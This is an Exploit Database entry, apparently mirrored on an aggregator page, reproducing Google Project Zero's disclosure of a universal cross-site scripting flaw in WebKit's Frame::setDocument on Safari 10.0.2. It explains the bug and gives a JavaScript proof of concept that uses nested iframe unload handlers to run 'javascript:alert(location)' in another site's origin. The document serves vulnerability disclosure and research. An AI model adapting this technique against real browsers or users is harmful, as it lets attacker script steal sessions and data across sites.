Apple WebKit 10.0.2 – ‘Frame::setDocument’ Universal Cross-Site Scripting

• Exploit Database
• 17 阅读

• 作者： Google Security Research
  日期： 2017-02-24
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/41453/

• <!--
  Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1057
  
  Here's a snippet of Frame::setDocument.
  
  void Frame::setDocument(RefPtr<Document>&& newDocument)
  {
  ASSERT(!newDocument || newDocument->frame() == this);
  
  if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
  m_doc->prepareForDestruction();
  
  m_doc = newDocument.copyRef();
  ...
  }
  
  Before setting |m_doc| to |newDocument|, it calls |prepareForDestruction| that fires unload event handlers. If we call |Frame::setDocument| with the new document |a|, and call |Frame::setDocument| again with the new document |b| in the unload event handler. Then |prepareForDestruction| will be never called on |b|, which means the frame will be never detached from |b|.
  
  PoC:
  -->
  
  "use strict";
  
  let f = document.documentElement.appendChild(document.createElement("iframe"));
  let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));
  
  a.contentWindow.onunload = () => {
  f.src = "javascript:''";
  
  let b = f.contentDocument.appendChild(document.createElement("iframe"));
  b.contentWindow.onunload = () => {
  f.src = "javascript:''";
  
  let doc = f.contentDocument;
  
  f.onload = () => {
  f.onload = () => {
  f.onload = null;
  
  let s = doc.createElement("form");
  s.action = "javascript:alert(location)";
  s.submit();
  };
  
  f.src = "https://abc.xyz/";
  };
  
  };
  };
  
  f.src = "javascript:''";
  
  <!--
  Tested on Safari 10.0.2(12602.3.12.0.1).
  -->